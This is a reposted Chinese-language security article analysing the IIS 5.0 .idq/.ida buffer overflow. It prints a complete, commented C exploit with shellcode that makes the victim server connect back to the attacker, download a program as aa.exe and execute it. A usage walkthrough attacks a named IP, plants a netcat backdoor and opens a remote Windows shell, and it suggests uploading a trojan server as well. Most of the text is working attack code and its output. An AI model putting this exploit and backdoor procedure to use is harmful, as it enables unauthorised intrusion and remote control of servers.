歡迎您光臨本站 註冊首頁

對.idq/.ida溢出攻擊的分析(IIS)

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  原創:isno(isno)
來源:http://www.xfocus.org

對.idq/.ida溢出攻擊的分析

by isno(isno@xfocus.org)

IIS的.idq/.ida映射的溢出漏洞已經公布了好久了,但由於利用這個漏洞有
比較大的難度,所以可用的攻擊程序一直也沒弄出來。甚至連發現這個漏洞的
eEye也沒做出攻擊程序來,由於發送的內容被轉換成了寬字元,所以覆蓋用的
溢出地址比較難以控制,按照eEye的辦法,是在shellcode前面放上很多NOP這樣
就把shellcode推向了0x004x00xx的地址,就可以用xx4x這樣的串來覆蓋ret,這
個串被擴展為xx004x00以後正好跳轉到shellcode的位置。這種方法雖然理論上
行的通,但是實際上問題非常多,可以控制跳轉卻無法執行代碼,而且不同的機
器這個0x004x00xx都不一樣,這樣就很難做出通用性比較好的exploit。

昨天終於看到公布了可用的攻擊程序,一開始沒仔細看還以為是騙人的。后
來用softice跟了一下,又請教了一下袁哥才搞明白。這個exploit寫得很不錯,
用巧妙的方法避開來被擴展成寬字元,可以隨意控制跳轉地址,利用他的方法可
以很輕鬆的改寫出更完善的exploit。

這個程序的shellcode比較簡單,只是連到指定主機的指定埠去接受數
據,然後把它存為aa.exe,然後運行aa.exe。但它和以前的對付.htr溢出的那個
iishack不一樣,它不能主動請求數據,而只能等待那邊的主機發送數據,所以
你不能用它來下載指定的程序,而必須由攻擊端的攻擊程序來開個進程等待發送
數據到被攻擊的主機。

我把這個程序稍微改了一下,使它可以攻擊中文版IIS5。因為過幾天要考
試,我也沒有時間再寫個新程序了,只有等考完后在弄。下面就是我改良過
的.idq exploit程序,作了一些比較詳細的註解:

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
對中文版WIN2k + IIS 5.0 + SP0攻擊成功!
在RedHat6.2上編譯
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 這是中文版WIN2K(沒有安裝SP)中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*這兩個API的地址固定了,這樣通用性不好,其實可以用shellcode來搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset */
/*
作者選擇了覆蓋SEH,這樣可以避免覆蓋掉某些形參而引起的錯誤,
但根據我的測試,覆蓋RET也是一樣的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些編碼,以免地址或埠中還有\0位元組而截斷shellcode*/

#define PORT 555
/*shellcode要連接的埠,不要用80,因為80一般都被佔用了*/

#define ADDR "111.111.111.111"
/*
!!!注意:上面這個地方是必須要更改的地方!!!
這是你發起攻擊的主機地址,就是你運行攻擊程序的那台主機。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
/*shellcode實現連接到攻擊端並下載程序的功能,這個程序必須在攻擊端主機上*/

unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*這是前面的shellcode用來跳到後面並定址字元串*/

unsigned char forwardjump[]=
"%u08eb";
/*這是覆蓋異常結構的jmp 08h,用來跳到後面定址shellcode的那段代碼*/
/*
作者在前面加了一個%u符號,這樣就可以免於被擴展成寬字元,這方法
太妙了!至於IIS是這樣處理%u的,可以參見bbs.nsfocus.com上袁哥反彙編
的代碼。後面的返回地址和跳轉shellcode的代碼也作了同樣的處理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳轉到shellcode去,我不一句句的解釋了,如果有興趣可以自己看,
注意每兩個位元組都是反的,%uC033在轉換后變成了\x33\xC0。
*/

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
/*上面是連接主機的函數*/

/*
下面這個函數很重要,它監聽在前面定義的那個的埠,我用了555,
一旦有主機連接過來,後面那個進程就把本地的一個程序發送過去,
這個程序當然也是在運行時指定的。
*/
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}

int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;

if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;

if(!(cb=resolve(ADDR)))
return -3;

if((pid=fork())<0)
return -4;

/*
開兩個進程一個用於構造併發送shellcode,
另一個監聽指定埠並等待發送數據。
*/
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}

j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i {
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}

memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);

memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);

/*
上面就是構造溢出串,溢出串在被擴展並拷貝入IIS的堆棧后形式如下:
..............| 異常鏈 |處理指針|.................
010001000100.....|eb080100|97ace477|010033c0.........
|jmp 08h | jmp ebx| jmp shellcode
*/

write(s,buf3,strlen(buf3));

printf("---");
for(i=0;i {
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");

wait(0);
sleep(1);
shutdown(s,2);
close(s);

printf("Done.\n");
}
/*下面這個進程用於建立連接,並打開指定文件併發送出去*/
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);

shutdown(s,2);
close(s);
}

return 0;
}
-------------------------idq.c-----cut here-----------------------------

整個程序攻擊的流程是這樣的:

攻擊端 被攻擊端
1. 發送shellcode
--------------->
2. 溢出並運行shellcode

3.監聽555埠等待連接

4. 連接到攻擊端555埠
<-------------------

5. 發送文件數據
-------------------->

6 接受文件為aa.exe並執行

下面是演示一下具體的用法的實例:

先到一台linux主機上編譯idq.c。gcc -o idq idq.c

!!!注意一定先改一下程序中的#define ADDR "111.111.111.111"為你這台
linux主機的IP地址!!!

然後上傳一個ncx99.exe到這台主機放在同一個目錄下:
bash# ls -al
total 90
drwxrwxrwt 7 root root 1024 Aug 30 05:25 .
drwxr-xr-x 17 root root 1024 Aug 28 15:47 ..
drwxrwxrwt 2 xfs xfs 1024 May 14 03:03 .font-unix
-rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq
-rw-r--r-- 1 root root 8149 Aug 30 05:25 idq.c
-rw-rw-rw- 1 root root 59392 Aug 17 1999 ncx99.exe
假設要攻擊61.135.19.222,就這樣:
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
然後文件已經傳過去並運行了,等幾秒種,然後就可以連接上去了!
bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-1998 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>dir
dir
驅動器 C 中的卷沒有標籤。
卷的序列號是 CC31-6B3C

C:\ 的目錄

1997-01-11 16:54 297 1.pl
2001-07-01 03:08 59,392 aa.exe
1997-01-06 16:44 Documents and Settings
2001-06-30 16:21 download
2001-05-02 19:17 Inetpub
2001-05-21 16:35 mp3
2001-05-02 21:48 mysql
2001-05-02 21:45 Perl
2001-05-02 21:57 php
2001-06-30 16:24 Program Files
2001-06-22 01:47 tool
2001-06-30 16:23 WINNT
.........
.........
.........
28 個文件 383,912 位元組
13 個目錄 353,680,384 可用位元組

C:\>exit
sent 13, rcvd 2326
bash#
你也可以傳個冰河Server端上去,隨便你了!

寫完這些我感到有點失落,因為漏洞不是我發現的,攻擊程序不是我寫的,
我也只能跟在那些高手的後面拾人牙慧,唉...還需要再努力學習。



歡迎訪問http://www.xfocus.org

轉載請保持文章完整!



[火星人 ] 對.idq/.ida溢出攻擊的分析(IIS)已經有823次圍觀

http://coctec.com/docs/security/show-post-72754.html